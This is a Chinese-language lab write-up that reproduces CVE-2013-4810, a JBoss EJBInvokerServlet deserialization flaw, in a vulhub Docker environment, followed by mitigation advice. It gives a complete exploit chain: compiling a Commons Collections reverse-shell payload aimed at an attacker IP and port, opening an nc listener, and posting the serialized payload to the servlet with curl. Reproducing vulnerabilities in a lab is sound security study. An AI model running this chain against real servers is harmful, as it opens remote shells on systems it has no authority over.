CVE-2013-4810-EJBInvokerServlet-Deserialization
forg12

描述

​ 由于JBoss中invoker/EJBInvokerServlet路径对外开放,EJBInvokerServlet 利用的是 org.jboss.invocation.MarshalledValue进行的反序列化操作。

影响版本

JBoss 6.x >=

环境搭建

这里使用vulnhub上面CVE-2015-7501的环境来复现该漏洞。

1
2
3
4
#进入漏洞目录
cd vulhub/jboss/JMXInvokerServlet-deserialization
#开启环境
docker-compose up -d

image-20221020101355569

image-20221021114011684

查看环境

1
http://192.168.3.50:8080/

image-20221021114032533

复现过程

利用工具下载地址:

1
https://github.com/joaomatosf/JavaDeserH2HC

通过一下命令可生成一个ser后缀的文件。

1
2
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.3.61:2233

image-20221020101629635

image-20221020101642264

kali监听2233端口

1
nc -lvvp 2233

执行exp

1
curl http://192.168.3.50:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

image-20221021114251804

image-20221021114215012

image-20221021114322899

修复建议

1、删除http-invoker.sar组件。

2、设置http-invoker,在jboss\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xmlsecurity-constraint 标签中添加以下代码。

1
<url-pattern>/*</url-pattern>

3、升级版本